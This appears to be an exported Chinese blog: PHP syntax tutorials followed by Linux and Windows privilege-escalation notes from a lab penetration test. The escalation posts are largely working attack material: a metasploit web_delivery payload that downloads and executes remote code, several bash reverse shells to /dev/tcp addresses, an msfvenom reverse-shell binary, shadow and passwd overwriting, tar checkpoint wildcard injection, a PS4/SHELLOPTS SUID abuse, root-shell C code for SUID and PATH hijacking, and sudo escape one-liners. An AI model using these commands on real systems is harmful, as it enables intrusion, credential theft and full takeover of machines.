	<!--trim ()：去除字符串两端的空格或特定字符。-->
	<?php
	$po = ' php ';
	$tt = trim($po);
	echo $tt;
	?>

	<!--explode () /implode ()：将字符串拆分为数组 / 将数组元素连接成字符串。-->
	<?php
	$bv = 'www，yyy，uuu，iii';
	$as = explode('，',$bv);
	var_dump($as);
	$name = implode('-',$as);
	echo $name
	?>

	<!--printf () /sprintf ()：格式化字符串输出。-->
	<!--% s 是字符串占位符，-->
	<!--% d 是整数占位符。-->
	<!--% f：浮点数占位符，用于输出浮点数。-->
	<!--% x 或 % X：十六进制整数占位符，分别用于输出小写或大写的十六进制数。-->
	<!--% b：二进制整数占位符，用于输出二进制数。-->
	<!--% e 或 % E：科学计数法表示的浮点数占位符，分别用于小写或大写的指数部分。-->
	<?php
	$user = 'admin';
	$pass = 123445;
	printf('用户=%s,密码=%d',$user,$pass);// 输出用户 = admin, 密码 = 123445
	$admin = sprintf('user=%s,pass=%d',$user,$pass);
	echo $admin// 输出 user=admin,pass=123445
	?>

	<!--str_split ()：将字符串拆分为字符数组。-->
	<?php
	$er = 'admin';
	$kl = str_split($er);
	var_dump($kl); // $chars 等于 ['a', 'd', 'm', 'i', 'n']
	?>

# 整数

	<?php
	$positive_integer = 10; // 正整数
	$negative_integer = -5; // 负整数
	$zero = 0; // 零
	echo $positive_integer,$negative_integer,$zero;
	?>

# 布尔

	<?php
	$bool_true = true; // 真
	$bool_false = false; // 假
	$is_logged_in = true;

	if ($is_logged_in) {
	echo "Welcome, user!";
	} else {
	echo "Please log in.";
	}
	?>

# 数组

	<!-- 数组 -->
	// 使用 array() 函数声明数组
	<?php
	$array1 = array(1, 2, 3, 4, 5);

	// 或者使用简化的 [] 语法（PHP 5.4+）
	$array2 = [1, 2, 3, 4, 5];
	?>
	<?php
	$qwe = array('admin', 'pass', 'user');
	echo $qwe[0]; // 输出：admin
	echo $qwe[1]; // 输出：pass
	echo $qwe[2]; // 输出：user
	?>

# 关联数组

	<!-- 关联数组 -->
	<?php
	$person = array(
	'name' => 'zero',
	'age' => 20,
	'user' => 'admin'
	);
	echo $person['name']; // 输出：zero
	echo $person['age']; // 输出：20
	echo $person['user']; // 输出：admin
	?>

# 多维数组

	<!-- 多维数组 -->
	<?php
	$ccvv = [
	[1, 2, 3],
	[4, 5, 6],
	[7, 8, 9]
	];
	print_r($ccvv[2][1]);
	?>

	<?php
	$cctv = [
	'a' => [
	'b' => [1, 2, 3],
	'c' => [4, 5, 6]
	],
	'd' => [
	'e' => [7, 8, 9]
	]
	];
	print_r($cctv['a']['b'][1])
	?>

# 操作数组

	<!-- 操作数组 -->
	#count($array)：计算数组中的元素数量，并返回结果。在示例中，$count的值为数组$array8的元素数量，即5。
	<?php
	$array8 = [1, 2, 3, 4, 5];
	$count = count($array8); // $count 等于 5
	print_r($count);
	?>
	#array_push($array, $value1, $value2, ...)：将一个或多个元素添加到数组的末尾。在示例中，将值4和5添加到数组$array9的末尾。
	<?php
	$array9 = [1, 2, 3];
	array_push($array9, 4, 5); // $array 变为 [1, 2, 3, 4, 5]
	print_r($array9)
	?>
	#array_pop($array)：移除并返回数组中的最后一个元素。在示例中，$lastElement的值为被移除的最后一个元素，而$array变为[1, 2]。
	<?php
	$array = [1, 2, 3];
	$lastElement = array_pop($array); // $lastElement 等于 3，$array 变为 [1, 2]
	print_r($array);
	?>
	#array_merge($array1, $array2, ...)：合并一个或多个数组。在示例中，将数组$array1和$array2合并为一个新数组。
	<?php
	$array1 = [1, 2];
	$array2 = [3, 4];
	$mergedArray = array_merge($array1, $array2); // $mergedArray 等于 [1, 2, 3, 4]
	print_r($mergedArray);
	?>
	#array_keys($array)：返回一个包含数组键名的新数组。在示例中，$keys包含了数组$array的键名。
	<?php
	$array = ['a' => 'apple', 'b' => 'banana', 'c' => 'cherry'];
	$keys = array_keys($array); // $keys 等于 ['a', 'b', 'c']
	print_r($keys);
	?>
	#array_values($array)：返回一个包含数组所有值的新数组。在示例中，$values包含了数组$array11的所有值。
	<?php
	$array11 = ['a' => 'apple', 'b' => 'banana', 'c' => 'cherry'];
	$values = array_values($array11); // $values 等于 ['apple', 'banana', 'cherry']
	print_r($values);
	?>
	#unset($array[$key])：删除数组中指定键名的元素。在示例中，删除了数组$array12中键为'b'的元素。
	<?php
	$array12 = ['a' => 'apple', 'b' => 'banana', 'c' => 'cherry'];
	unset($array12['b']); // $array 变为 ['a' => 'apple', 'c' => 'cherry']
	print_r($array12);
	?>

# 浮点数

	<!-- 浮点数 -->
	<?php
	$fds = 1.234;// 正
	echo $fds;
	$bn = -1.76;// 负
	echo $bn;
	$scientificVar = 6.02e23; // 6.02 乘以 10 的 23 次方
	echo $scientificVar;
	?>
	<!-- 浮点数在计算机中的表示并非完全精确。这是因为计算机使用二进制表示浮点数，这样可能会导致十进制小数的近似值。例如：-->
	<?php
	$sum = 0.1 + 0.2;
	echo $sum; // 输出 0.3 吗？
	?>
	<?php
	$sum = 0.1 + 0.2;
	$formattedSum = number_format($sum, 2); // 格式化为两位小数
	echo $formattedSum; // 输出 0.30
	?>

PHPecho和print语句

2023-11-16T09:35:40.000Z

在 PHP 中， echo 和 print 都用于输出数据到屏幕。这两者之间有一些小差异：

# echo

echo 是一个语言结构，可以快速地输出一个或多个字符串。
它比 print 稍快，因为它没有返回值。
echo 可以接受多个参数（这种用法不常见）。

	<?php
	$c = 1234;
	echo "Hello, World!";// 输出字符串
	echo "This ", "string ", "was ", "made ", "with multiple parameters.";// 输出字符串
	echo $c// 输出变量
	?>

# print

print 也是一个语言结构，但它只允许输出一个字符串，并总 1 。
因此， print 可以用在表达式中。
相比于 echo ， print 的使用略微受限。

	<?php
	print "Hello, World!"; // 输出字符串

	// 由于 print 总是返回 1，它可以被用在表达式中
	$result = print "This is a test.";
	print $result; // 输出变量
	// $result 的值为 1
	?>

# EOF（End Of File）

是一个用于在脚本中指定一个字符串的结束的标识符。它经常与 heredoc 语法结合使用，来定义一个字符串，这个字符串中可以包含多行文本、变量、特殊字符等，而不需要担心字符串的引用问题。

插入复杂结构

当你需要插入大量的 HTML 或者 SQL 语句时，heredoc 语法特别有用，它可以保持原格式不变，增加代码的可读性。

EOF 标识符命名：

EOF 只是一个约定的标识符。你可以使用任何合法的标识符作为 heredoc 或 nowdoc 的开始和结束标记.

Heredoc 语法；

	<?php
	$text = <<<EOF
	这里是文本字符串的内容，可以跨越多行。
	它的结束标识符是“EOF”，位于行首，且后面紧跟一个分号。
	变量也可以被解析，例如：$variable
	EOF;
	// 注意结束标识符 EOF 前不能有任何字符，包括空格和制表符。
	?>

在参数中直接使用 heredoc：

heredoc 可以直接在函数或方法的参数中使用，无需先赋值给变量

	<?php
	function printText($text) {
	echo $text;
	}

	printText(<<<'TEXT'
	Line 1 of the string
	Line 2 of the string
	TEXT
	);
	?>

nowdoc 语法：

类似于 heredoc，但是不解析其中的变量，适用于需要保持字符串内变量不变的情况。其语法使用单引号定义标识符。

	<?php
	$str = <<<'EOD'
	Example of string
	spanning multiple lines
	using nowdoc syntax.
	$variable will not be parsed.
	EOD;
	?>

php语法-变量

2023-11-16T07:41:03.000Z

PHP 语言在网络安全方面扮演着重要的角色，主要因为它是最流行的服务器端脚本语言之一，广泛用于网页开发。然而，由于其广泛的使用和某些特性，PHP 也与多种网络安全问题相关联。

PHP 是一种广泛使用的开源脚本语言，特别适合于网页开发，并且可以嵌入到 HTML 中。下面是一些基本的 PHP 语法要点：

# 基本语法

PHP 脚本以 <?php 开始，以 ?> 结束。
PHP 脚本可以放在 HTML 文档中的任何位置。
PHP 语句以分号 ; 结束。

例如；

	<?php
	echo "Hello World!";
	?>

网页端就会返回

# 注释

单行注释可以用 // 或 # 。
多行注释使用 /* 注释内容 */ 。

# 单行注释

使用两个正斜杠 // 开始的注释。从 // 开始到行末的所有内容都会被视为注释。
井号 # 也可以用于单行注释，它的作用与 // 相同。

示例：

	<?php
	// 这是一个单行注释
	echo "Hello, World!";

	# 这也是一个单行注释
	echo "PHP is fun!";
	?>

# 多行注释

由一对 /* 和 */ 包裹的注释。这种注释可以跨越多行。
多行注释通常用于提供关于代码块的详细说明或者在需要时临时移除代码块。

示例：

	<?php
	/* 这是一个多行注释
	它跨越了
	多行 */
	echo "Hello, World!";
	?>

# 文档性注释

用于生成文档的特殊多行注释，以两个星号开始 /** ，然后是多行注释内容，最后以 */ 结束。
这种注释风格通常用于自动化的文档生成工具，比如 PHPDocumentor。

示例：

	<?php
	/**
	* 获取用户名称
	*
	* 该函数用于从数据库获取用户名称
	* @param int $userID 用户 ID
	* @return string 返回用户名称
	*/
	function getUserName($userID) {
	// 函数实现
	}
	?>

在实际的 PHP 编程中，合理地使用注释可以使代码更容易理解和维护。但是也要注意不要过度注释，尤其是对于自解释性强的代码

# php 中的变量

PHP 中的变量是用来存储信息的容器。在 PHP 中，变量的使用有几个关键特点和规则：

# 变量的定义

PHP 中的变量以美元符号 $ 开始，后面跟变量的名称。
变量名称必须以字母或下划线开始，后面可以跟字母、数字或下划线。
PHP 变量名称区分大小写。

# 变量赋值

使用等号 = 来为变量赋值。
PHP 是一种弱类型语言，不需要声明变量的类型。变量的类型由它的值决定。

示例 :

<?php
$text = "Hello 你好";  // 字符串类型
$number = 9999;          // 整型
$float = 12.34;         // 浮点型
$bool = true;           // 布尔型
$array = array('zxc', 'vbn', 'bnm'); // 数组
echo "变量text为：$text";
echo "变量number为：$number";
echo "变量为float：$float";
var_dump($array);
?>

页面显示

PHP 是一种动态类型语言。这意味着同一个变量可以用来存储不同类型的数据：

	<?php
	$x = 4; //x 是一个整数
	$x = "Sally"; // 现在 x 是一个字符串
	?>

# 变量作用域

在 PHP 中，变量的作用域可以是局部的、全局的或静态的。
局部变量仅在函数内部有效。
全局变量在脚本的任何部分都有效，但在函数内部需要用 global 关键字来访问。
静态变量当函数执行完毕后不会被删除，而是保持其值。

局部作用域（Local）

局部变量仅在函数内部声明和访问。
函数外部无法访问函数内部的局部变量。
每当函数执行时，局部变量都会被创建，函数执行结束时，局部变量会被销毁。

	<!-- 局部作用域 -->
	<?php
	function myTest() {
	$x = 5; // 局部作用域
	echo $x;
	}
	myTest(); // 输出 5

	echo $x; // 使用这行将会产生错误，因为 $x 在函数外部是不可用的
	?>

全局作用域（Global）

在函数外部声明的变量拥有全局作用域。
全局变量在函数外部可以访问，但默认情况下在函数内部是无法访问的。
要在一个函数内部访问一个全局变量，需要使用 global 关键字。

	<?php
	$x = 5; // 全局作用域

	function my() {
	global $x; //global 引用全局变量 $x
	echo $x;
	}
	my(); // 输出 5
	echo $x; // 输出 5
	?>

另一种访问全局变量的方法是使用 $GLOBALS[index] 数组。

	$x = 5;
	$y = 10;

	function my() {
	echo $GLOBALS['y'];
	}
	myTest(); // 输出 10

静态作用域（Static）

使用 static 关键字时，函数内的局部变量在函数调用完成后不会被删除。
静态变量仅在局部函数作用域内存在，但它们不会在函数调用之间丢失其值。

	<?php
	function test() {
	static $x = 0;
	echo $x;
	$x++;
	}
	test(); // 输出 0
	test(); // 输出 1
	test(); // 输出 2
	?>

参数作用域（Function arguments）

函数参数（在函数调用时传递给函数的变量）具有自己的作用域。
只有在函数内部，参数才是可用的。

	<?php
	function vvv($x) { // $x 是一个参数
	echo $x;
	}
	vvv(5); // 输出 5
	?>

理解这些不同的作用域对于编写可靠和可维护的 PHP 代码非常重要。不恰当的作用域使用可能导致难以跟踪的错误和安全问题。

linux提权

2023-11-10T09:52:23.000Z

# 信息收集命令

# 系统信息

uname -a : 显示内核、操作系统和 CPU 信息。
head -n 1 /etc/issue : 显示操作系统版本。
cat /proc/version : 显示系统信息。
hostname : 显示计算机名。
env : 显示环境变量。

# 网络信息

ifconfig : 显示网络接口信息（现在更常用的是 ip addr show ）。
netstat -lntp : 显示所有监听端口。
netstat -antp : 显示所有已建立的连接。
netstat -s : 显示网络统计信息。
iptables -L : 显示防火墙设置。
route -n : 显示路由表。

# 用户组信息系统服务

w ：显示活动用户和他们正在使用的终端等信息。
id [username] ：显示指定用户的信息，包括用户 ID（UID）、所属用户组等。
last ：显示用户登录的历史记录，包括登录时间和来源。
cut -d: -f1 /etc/passwd ：显示系统上所有用户的用户名。
cut -d: -f1 /etc/group ：显示系统上所有组的组名。
crontab -l ：显示当前用户的计划任务（定时任务）。
chkconfig --list ：列出所有系统服务。
chkconfig --list | grep on ：列出所有已启动的系统服务。
echo $PATH ：显示系统的路径列表，用冒号分隔的目录列表表示系统在搜索可执行文件时的顺序。

# 信息收集

nmap -sT 192.168.244.0/24

访问 80 没啥东西扫一下目录

扫到一个 shell.php

# 反弹 shell

参数是 cmd 可以执行命令

msf script/web_delivery模块反弹shell

use exploit/multi/script/web_delivery

set lhost 192.168.244.128

set lport 9000

run

复制 payload 并且 url 编码添加在 cmd 参数后面执行得到 shell

python%20-c%20%22import%20sys%3Bimport%20ssl%3Bu%3D__import__('urllib'%2B%7B2%3A''%2C3%3A'.request'%7D%5Bsys.version_info%5B0%5D%5D%2Cfromlist%3D('urlopen'%2C))%3Br%3Du.urlopen('http%3A%2F%2F192.168.244.128%3A8080%2FsZTvRL2bM'%2C%20context%3Dssl._create_unverified_context())%3Bexec(r.read())%3B%22

# 主机信息收集

先拿一个交互 shell

**python -c 'import pty;pty.spawn("/bin/bash")'**

	显示内核、操作系统和CPU信息
	Linux osboxes 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
	操作系统版本
	Linux Lite 4.4 LTS \n \l
	显示系统信息
	Linux version 4.15.0-45-generic (buildd@lgw01-amd64-031) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019
	环境变量
	env
	APACHE_LOG_DIR=/var/log/apache2
	LANG=C
	INVOCATION_ID=15ecc432bc2940368927675d4ac3a3a3
	APACHE_LOCK_DIR=/var/lock/apache2
	PWD=/var/www/html
	JOURNAL_STREAM=9:21980
	APACHE_RUN_GROUP=user6
	APACHE_RUN_DIR=/var/run/apache2
	APACHE_RUN_USER=user6
	APACHE_PID_FILE=/var/run/apache2/apache2.pid
	SHLVL=1
	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
	_=/usr/bin/env
	计算机名
	osboxes
	系统路径列表
	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
	开启的服务
	mysql 开启
	用户
	vboxadd
	user1
	user2
	user3
	user4
	statd
	user5
	user6
	mysql
	user7
	user8

# SUID 提权

SUID（Set User ID）是一种权限设置，允许用户以文件所有者的权限来执行文件，即使用户自身的权限可能不足以执行该文件。

在 Unix 或类 Unix 系统中，当一个可执行文件的 SUID 位被设置为 1 时，无论谁执行该文件，都会以该文件的所有者身份执行。这种权限设置通常用于系统文件或程序，以便允许普通用户执行特定的任务或命令，而无需暴露超出其权限范围的访问权限。

find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;

在 Unix 或 Linux 系统中查找具有 SUID 权限设置的文件。它会搜索整个文件系统 (“/”)，找到具有 SUID 权限设置的文件 (“-perm -u=s”) 并将它们显示出来。同时，将任何错误消息重定向到 /dev/null，以避免它们显示在屏幕上。

常见的提权文件

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

查询到有一个 find

cd / cd /tmp 到 tmp 目录

创建一个文件

touch 1234

find 1234 -exec whoami ;

这个命令的作用是在当前目录下搜索名为 “1234” 的文件或目录，并对找到的每一个执行 whoami 命令。

find 命令用于查找文件和目录， -exec 选项允许在找到的每一个项目上执行特定的命令， \; 表示命令结束。

如果在当前目录下存在名为 “1234” 的文件或目录，对于每一个找到的 “1234”， whoami 命令将被执行，显示当前执行命令的用户的用户名。

反弹 shell

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.244.128/4343 0>&1 \;

nc 开启监听接收到会话

# 可读 shadow 文件利用

Shadow 文件的概述:

Shadow 文件是一个 Linux 系统中存储加密用户密码和其他身份信息，如账号过期时间，密码过期时间，账户锁定和密码最小长度等等的重要文件。

Shadow 文件位于 /etc/shadow ，只有 root 用户有权限访问它。

shadow 文件与 passwd 文件的关系：早些版本加密后的密码是保存在 passwd 文件里第二个字段的位置也就是图中 x 的位置

但是呢虽然是加密的还是有可能被破解所以加上了 shadow 这个文件而 passwd 文件里的就被替换为了 X 占位，因为 shadow 文件只有 root 用户可以访问所以相对比较安全，不过有时管理员对文件权限错误配置也会导致被拿来恶意利用

文件格式：

登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志

root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::

利用条件 shadow 有权查看

获取 root 用户信息并保存在新建文件中

root: $6$ mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::

利用工具 john 来破解

得到明文密码就可以切换 root 了

# 可写 shadow 文件利用

利用原理：把 shadow 文件里 root 用户 hash 值替换为自己生成的就可以 hash 再用生成用到的明文进行登录 root

前提要有 shadow 可写权限

通过 mkpasswd 生成哈希

mkpasswd -m sha-512 1234567

$6$hpRA5YNV9lAANtsF$JwX/K8VfxhxpTm5U2oTEgFw.YiYVCmfzZ0i6SqUDkpJRamWVmQ0LgflQUlhjVHkAS5N8MwFFR12mHBg6qFhwC/

用 sha-512 是因为

	$6$开头的，表明是用SHA-512加密的，密文长度86
	$1$ 表明是用MD5加密的，密文长度22个字符
	$2$ 是用Blowfish加密的，
	$5$ 是用 SHA-256加密的，密文长度43

接着把生成的 hash 替换原本的就可以用 1234567 登陆了

# 可写 passwd 文件利用

虽然 passwd 文件里 hash 被 X 替代了无法查看但是把 X 替换为我们生成的 hash 还是可以登陆的

利用 openssl 生成

openssl passwd 987654321

$1$uOZ/Tr4f$EqDyR9WU8wJNeB3tEY09f.

把 passwd 里 root 的 X 替换

即可用 987654321 切换 root

# 计划任务提权

查看计划任务

* * * * * root /home/crontab.sh

这条计划任务的意思是每 1 分钟执行一次 crontab.sh 脚本，并且是以 root 用户的权限来执行。

而这个文件我们是有权更改的那么就可以写入反弹 shell 命令

echo 'bash -c "bash -i >& /dev/tcp/192.168.1.139/4444 0>&1"' > crontab.sh

nc 进行监听等一分钟拿 shell

# 计划任务环境变量提权

如果你在计划任务中没有指定程序的绝对路径，系统会在 crontab 文件中的 PATH 环境变量所列出的目录中查找该程序。这些目录会按照在 PATH 变量中的顺序被检查。如果在某个目录中找到了该程序，系统就会停止搜索并执行该程序。

图中每分钟执行一次 shell.sh 脚本但是没有指定绝对路径， PATH 中默认优先查找 /home/yunyi 路径下有没有 shell.sh 有的话

就每分钟执行，利用这个特性就可以在 yunyi 目录中创建一个 shell.sh 并写上反弹 shell 进行提权

#!/bin/bash

bash -c "bash -i >& /dev/tcp/192.168.1.142/7676 0>&1"

别忘了给执行权限 chmod +x shell.sh

kali：nc -vlnp 7676

获取 shell

# 计划任务通配符提权

这里还有一个 zip.sh 看一下内容是

到 home/yunyi/user 目录下打包所有文件夹文件到 /tmp 目录下名为 yunyi.tar.gz

利用 tar 命令的 –checkpoint 和 –checkpoint-action

tar 命令的 –checkpoint 和 –checkpoint-action 参数可以被用来执行提权操作这是因为 tar` 命令在处理文件时，可以在每个检查点 checkpoint 执行一个特定的动作 action

如果管理员给予了某个普通用户 tar 命令的超级管理员操作权限，那么我们可以使用 tar 命令进行提权例如，以下命令可以创建一个新的归档文件，并在每个检查点执行 /bin/bash 命令

sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec="/bin/bash"

在这个命令中， --checkpoint=1 表示每处理一个文件就设置一个检查点， --checkpoint-action=exec="/bin/bash" 表示在每个检查点执行 /bin/bash 命令因为 tar 命令是以 root 用户的身份运行的，所以 /bin/bash 命令也会以 root 用户的身份运行，从而获得 root 权限

kali 生成反弹 shell 文件

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.142 LPORT=8989 -f elf -o shell.elf

启动一个 http 服务受害机下载 shell 文件并给予权限

在 user 目录创建这两个文件

touch /home/yunyi/user/--checkpoint-action=exec=shell.elf

touch /home/yunyi/user/--checkpoint=1

nc -lvnp 8989 拿到权限

也可以创建一个 sh 脚本反弹 shell

touch /home/yunyi/user/--checkpoint-action=exec=sh shell.sh

# SUID 原理详解

# SUID 共享库提权

其实 suid 提权原理就是利用有 s 位的程序去执行我们的恶意文件恶意命令

编写一个有漏洞的程序

	#include <stdio.h>
	#include <stdlib.h>
	#include <dlfcn.h>

	int main(int argc, char **argv) {
	// 检查是否提供了正确数量的参数
	if (argc != 2) {
	printf("Usage: %s <path to .so file>\n", argv[0]);
	return 1;
	}

	// 使用 dlopen 函数加载共享库
	// RTLD_LAZY 表示在 dlopen 返回前，解析器不会解析库中的任何符号
	// 符号解析将推迟到第一次调用 dlsym 或者第一次访问这些符号时进行
	void *handle = dlopen(argv[1], RTLD_LAZY);
	if (!handle) {
	// 如果 dlopen 返回 NULL，表示加载共享库失败
	// 此时可以使用 dlerror 函数获取错误信息
	fprintf(stderr, "Error: %s\n", dlerror());
	return 1;
	}

	// 使用 dlclose 函数卸载共享库
	// 如果共享库不再需要，应该尽快卸载，以节省内存资源
	dlclose(handle);
	return 0;
	}

编译好给 s 权限

	gcc -o loader loader.c -ldl
	sudo chown root:root loader
	sudo chmod u+s loader

这段程序会接受我们传入的参数这个参数就是一个共享库 so 文件，因为这个文件是有 s 位权限的我们就可以写一个提权的 so 文件执行以后就会获取 root 权限的 shell

编写一个共享库文件里面是提权代码

	#include <stdio.h>
	#include <stdlib.h>
	#include <unistd.h>

	// 使用 attribute ((constructor)) 标记，使得这个函数在 main 函数执行前被调用
	static void shell() __attribute__((constructor));

	void shell(){
	// 将当前进程的用户 ID 和组 ID 设置为 0（对应 root 用户）
	setgid(0);
	setuid(0);

	// 启动一个新的 bash shell
	//-p 选项会让 bash 保留特权，这意味着新启动的 shell 会以 root 权限运行
	system("/bin/bash -p");
	}

	#编译成 so
	gcc -shared -fPIC -o shell2.so shell2.c
	#生成一个名为 shell.so 的共享库文件。-shared 生成一个共享库，-fPIC 生成位置无关代码，

执行 /usr/local/bin/loader shell.so

当前权限

执行以后

原理：

漏洞点在于程序允许任何用户加载并执行任意的共享库。如果一个恶意用户能够控制被加载的共享库，那么他们就可以执行任意代码，并且由于程序设置了 SUID 位，这段代码将以文件所有者（在我们的例子中是 root 用户）的权限来执行。

例如，可以创建一个共享库，其中包含一个构造函数（在共享库被加载时自动执行的函数），这个构造函数执行一些恶意操作，如创建一个 root shell。然后可以通过程序来加载这个共享库。由于程序设置了 SUID 位，这个共享库将以 root 用户的权限来执行，因此就可以获得 root 权限。

# SUID 环境变量劫持提权

	#include <stdio.h>
	#include <stdlib.h>
	#include <sys/types.h>
	#include <unistd.h>

	int main() {
	// 尝试执行 shell 程序
	setuid(0);
	setgid(0);
	if (system("shell") == -1) {
	printf("错误：没有找到shell\n");
	} else {
	printf("shell程序已成功执行\n");
	}

	return 0;
	}

因为它使用了 system 函数，而 system 函数会在用户的环境变量 PATH 中查找命令。因此，如果用户有权限修改自己的环境变量，就可以劫持 shell 文件写一个同名文件然后写入提权程序拿到 root

在 /home/kali/hc 创建一个 shell 程序

	#include <stdio.h>
	#include <stdlib.h>
	#include <sys/types.h>
	#include <unistd.h>

	void main(){
	setgid(0);
	setuid(0);
	system("/bin/bash -p");
	}

更改临时环境便变量让程序执行时首先查找 /home/kali/hc 目录下有没有 shell

export PATH=/home/kali/hc:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/kali/hc

# SUID - 滥用 shell 功能提权

查看 bash 版本在 bash 版本低于 4.4 的时候用

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' /usr/local/bin/suid4 进行提权

原理为：

env -i ：这个命令用于运行一个程序，在一个新的、空的环境中。也就是说，它不会继承任何环境变量。

SHELLOPTS=xtrace ：这个环境变量设置 Bash shell 进入追踪模式（xtrace），在这种模式下，Bash 会打印出执行的每一条命令。

然后用 PS4 配合 xtrace 提权 PS4 是一个环境变量这个环境变量设置了 Bash shell 在打印追踪信息时使用的提示符

	默认PS4` 的值设置为 `'+'
	也就是我们打开xtrace模式打印出来的命令前面的+号
	例如：
	#!/bin/bash
	PS4='Line ${LINENO}: '
	set -x
	echo "Hello, world!"
	运行这个脚本，你会看到：
	Line 4: echo Hello, world!
	Hello, world!

PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' ：我们把他替换为了 '$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' 这些命令复制 /bin/bash 到 /tmp/rootbash ，并给予新文件 SUID 权限。这意味着任何用户运行 /tmp/rootbash 时，都会以文件所有者（在这种情况下是 root）的权限来运行。

/usr/local/bin/suid4 ：这是要以新环境运行的程序。一个有 s 位的程序，由于 SHELLOPTS 和 PS4 的设置，它会在运行时执行 PS4 中的命令也就是复制出一个具有 root 权限的 bash shell 到 /tmp

然后我们运行 rootbash -p 即可获得 root 权限的 shell

可看到运行后生成了 rootbash 获取了 root

当然可以将 PS4 中的命令替换为任何有效的 Bash 命令。因为 PS4 变量的值会在每次打印追踪信息之前被执行。所以你可以在 PS4 中插入任何你想要在每次命令执行之前运行的代码。

# NSF 提权

nsf 是 Linux 系统中用于共享文件和目录的功能通过 NFS，用户和程序可以访问远程系统上的文件，就像访问本地文件一样

nsf 的配置在 /etc/exports 文件中

这行表示共享 /tmp 目录，所有的网络主机都可以访问（由 * 表示），有读写权限（由 rw 表示），共享将立即写入磁盘就是立即生效（由 sync 表示）， insecure 允许非保留端口连接，禁止 root 权限映射（由 no_root_squash 表示），并且不检查子目录的权限（由 no_subtree_check 表示）。

特别是有 no_root_squash 启用 no_root_squash 会使得 root 在 NFS 客户端上拥有和服务器上相同的权限

利用：

创建一个目录进行挂载

mkdir /home/kali/hc/nfs-shell

mount -o rw,vers=3 192.168.1.144:/tmp /home/kali/hc/nfs-shell

rw 读写权限，vers3 版本

成功挂载

接下来写一个提权程序

vim shell.c

	#include <stdio.h>
	#include <stdlib.h>
	#include <unistd.h>

	void main(){
	setgid(0);
	setuid(0);
	system("/bin/bash -p");
	}

编译然后给 shell 执行权限

回到受害机执行提权到 root

# 内核提权

查看内核版本 uname -a

curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

下载 linpeas 脚本收集信息

如果没有 curl 可以用 kali 下载 nc 传过来

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

kali： nc -lvnp 80 < linpeas.sh

受害： cat < /dev/tcp/192.168.1.145/80 | sh

# 脏牛提权 (CVE-2016-5195)

searchsploit 搜索脏牛

有这些漏洞利用脚本下一个

searchsploit -m 40839.c

传到受害查看说明

要用 - pthread 和 - lcrypt 编译编译好后执行然后输入新的密码就可以了

# MOTD 机制提权

update-motd.d 目录下的脚本在用户通过 SSH 登录时会被执行，用于生成登录后的欢迎信息这些脚本通常以 root 权限运行

00-header 是 update-motd.d 目录下的一个脚本如果一个用户对 00-header 文件有写权限，那么他们就可以修改这个文件，插入一些恶意代码例如，他们可以添加一个修改 root 用户密码的命令或者反弹 shell 当其他用户通过 SSH 登录时， 00-header 脚本会以 root 权限运行，执行其中的命令

vim 输入 bash -c "bash -i >& /dev/tcp/192.168.1.145/4444 0>&1"

kali 监听 nc -lvnp 4444

再重新 ssh 登陆让他执行这个脚本，成功拿到 root

# sudo 提权

# sudofind 提权

sudo find . -exec /bin/sh \; -quit

# sudoapt 提权

sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

# sudovim 提权

sudo vim -c ':!/bin/sh'

# GTFOBins

这个网站可以搜索更多 sudo suid 提权

Windows提权

2023-11-09T12:28:50.000Z

# 提权基础

获取 webshell 后一般都是 www-data 权限权限很低所以要进行提权把权限提高为了后续渗透顺利

windows 的常用提权方法，主要分为漏洞提权、windwos 特性提权、第三方组件提权，数据库提权 ftp 提权令牌窃取提权等姿势。

使用 Windows 命令提示符执行的，它将系统信息输出到名为 "a.txt" 的文件中，然后检查特定的 Windows 更新是否已安装。如果某些指定的更新未安装，它会输出一条消息表示这些更新未安装。最后，它会删除临时文件 "a.txt

systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt

提权辅助:https://i.hacking8.com/tiquan/

windows 漏洞集合 https://github.com/SecWiki/windows-kernel-exploits

# 收集信息常用命令

	ipconfig /all --网卡配置
	systeminfo --系统补丁信息等
	echo %PROCESSOR_ARCHITECTURE% --系统体系结构
	wmic product get name,version --安装软件、版本、路径
	wmic service list brief --查询本机服务信息
	tasklist -svc --进程查看
	schtasks /query /fo list /v --任务计划查询
	net statistics workstation --开机时间
	net user --查看用户
	whoami /all --SID等用户信息
	net localgroup administrators --查看管理员组中的用户
	net session --会话查看
	netstat -ano --网络连接以及通过端口判断服务
	net share --共享
	route print --路由信息
	arp -a --arp信息
	cmdkey /l --登录历史
	hosts文件 Linux：/etc/hosts Windows：c:\Windows\system32\drivers\etc\hosts
	ipconfig /displaydns --dns缓存
	net view --查看共享
	dir /s /b "pass" "user" "config" "username." "password." --命令行查找敏感文件
